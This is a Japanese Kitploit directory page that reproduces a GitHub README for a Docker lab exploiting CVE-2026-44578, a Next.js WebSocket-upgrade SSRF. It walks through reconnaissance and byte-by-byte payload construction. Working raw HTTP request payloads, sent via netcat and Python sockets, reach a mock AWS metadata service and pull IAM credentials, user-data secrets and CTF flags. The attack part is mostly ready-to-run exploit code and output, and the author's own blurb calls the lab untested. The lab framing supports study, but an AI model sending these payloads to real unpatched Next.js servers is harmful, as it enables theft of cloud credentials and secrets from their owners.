Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-44578-next-js-ssrf — このラボは良いかもしれないし悪いかもしれないが、テスト中だ。でも動作するはずだ。AIに聞いてみて hahah | Kitploit
ツール/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストクラウドセキュリティラボと実践
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

このラボは良いかもしれないし悪いかもしれないが、テスト中だ。でも動作するはずだ。AIに聞いてみて hahah

リポジトリを見るウェブサイト
421ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF(ラボ)

CVE-2026-44578(CWE-918、SSRF)の脆弱性を、統合Node.jsサーバーを使用するNext.js self-hostedアプリケーションで再現するための自己完結型ラボです。

フィールド値
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
タイプSSRF(CWE-918)
影響を受けるバージョンNext.js 13.4.13 – 15.5.15 および 16.0.0 – 16.2.4
パッチ適用済みバージョン15.5.16 および 16.2.5
認証不要
ユーザー操作不要

ラボのトポロジー

攻撃者 (host: 0.0.0.0)
    │  HTTP :3000 (公開)
    ▼
┌──────────────────────────┐  同じネットワーク名前空間  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (認証情報,          │
│ (統合Node.jsサーバー)    │                           │  user-data, インデックス) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln(ポート 3000): 脆弱なアプリ。0.0.0.0:3000 に公開。
  • imds-sidecar: Next.jsコンテナの名前空間内の localhost:80 に存在するAWSメタデータサービスのモック。実際のクラウドインスタンスをモデル化しています。ホストから直接到達することはできません(公開ポートなし)。
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 自動化PoC(5プローブ)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + シークレットルート
                        └── nextjs-app/             # 現実的なアプリ "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # ランディング
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (脆弱)

なぜ脆弱なのか

router-server.ts のWebSocketアップグレードハンドラーは、パースされたURIに parsedUrl.protocol がある場合に proxyRequest() を呼び出しますが、通常のHTTPハンドラーが常に発行する finished および statusCode フラグをチェックしません:

  // 脆弱 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // パッチ (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

攻撃経路は二重スラッシュの絶対URIを持つリクエストラインを使用します: GET http:///path。normalizeRepeatedSlashes は http:/// を http:/ に縮小し、ホスト名がなくなります。その後、http-proxy はパスをそのままにして localhost:80 に接続します:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket ヘッダーの存在により、リクエストはセキュリティチェックのあるHTTPハンドラーではなく、脆弱なアップグレードハンドラーに送られます。

ラボの起動

docker compose up -d --build

アプリが応答することを確認します:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

0.0.0.0 で動作させるために、docker-compose.yml のポートマッピングはすでに 3000:3000 をすべてのインターフェースで公開しています。

手動による悪用

1. netcat(nc)を使用

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 純粋なPythonを使用(stdlib、依存関係なし)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 自動化PoCを使用

python3 exploit/exploit.py 127.0.0.1 3000

CTF — 最終フラグの手動キャプチャ

4つのフェーズからなる完全手動のフルフロー。内部サービス(localhost:80)には4つのフラグが隠されています。このガイドでは最初のフラグまでのフローを示し、残りを見つけるためのルートを提供します。

フェーズ 1 — 偵察

# サーバーのフィンガープリント
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# ソケット経由のオープンポート(nmapなし)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

攻撃者から 127.0.0.1:80 への直接アクセスはありません。唯一のベクトルは、内部サービスと同じネットワークに存在するNext.jsサーバーに、代わりにリクエストさせることです。

フェーズ 2 — SSRF経由のメタデータサービスの列挙

まず、メタデータサービスのインデックスを問い合わせてSSRFを確認します:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

インデックスの応答 → 候補: instance-id、hostname、iam/security-credentials/、user-data(最初のフラグ)。latest/meta-data/ のインデックスは、さらに探索する価値のあるサブキーも明らかにします。

フェーズ 3 — ペイロードの構築(バイト単位)

GET http:///latest/user-data HTTP/1.1
部分機能
GETこの脆弱性はGETのみをプロキシします
http:///latest/user-data絶対URI。http:/// は http:/ に縮小 → ホスト名がnull → プロキシはパス /latest/user-data を保持したまま localhost:80 に接続
Host: 127.0.0.1:3000これがないとサーバーは400を返します
Connection: Upgrade + Upgrade: websocketリクエストを脆弱なアップグレードハンドラーに転送します(通常のHTTPハンドラーは検証します)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==正当なハンドシェイクに必要な最小ヘッダー

終端: 生ソケットで \r\n\r\n(ボディなし)。

フェーズ 4 — 手動発火とフラグのキャプチャ

# オプションA: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# オプションB: Pythonの生ソケット(ncなし、同じ精度)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

出力 — 最初のフラグは内部サービスの応答ボディに含まれます:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

フラグ 1/4 獲得。 server: BaseHTTP/0.6 ...(Pythonモック)ヘッダーは、リクエストが 攻撃者 → Next.js → localhost:80 と移動したことを確認します。つまり、フラグはSSRFによって内部ネットワークから流出したのです。残りの3つはメタデータサービスと内部サービスのルートに散在しています — latest/meta-data/ のインデックスがあなたの地図です。残りを見つけてください。

ラボで公開されているエンドポイント

フェイクIMDS(localhost:80)は実際のAWSメタデータサービスをモデル化しています:ナビゲート可能なツリーです。各ディレクトリ(/ で終わる)はサブルートのインデックスで応答します。/ なしでディレクトリを要求すると 301 リダイレクトが返されます。隠しルートはありません。推測を必要とするフラグはありません — すべてはインデックスのナビゲーションで発見されます。

/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → ブートスクリプト(internal/configを指す)
ルートコンテンツ
latest/meta-data/メタデータのインデックス(上記参照)
latest/meta-data/iam/security-credentials/ロール lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleAccessKeyId、SecretAccessKey、Token を含むJSON
latest/user-dataDB認証情報を含むブートスクリプト
latest/dynamic/instance-identity/documentインスタンスIDのJSON
internal/config内部サービスの設定(DB、APIキー)— user-dataから参照
ツールをダウンロード